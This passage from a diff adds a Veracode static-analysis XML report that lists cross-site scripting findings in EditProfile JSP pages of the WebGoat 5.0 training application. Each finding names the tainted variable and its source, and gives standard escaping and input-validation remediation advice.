+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"84\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"62\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"77\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"161\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"128\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"268\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"123\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"3\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"43\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"7\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"224\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
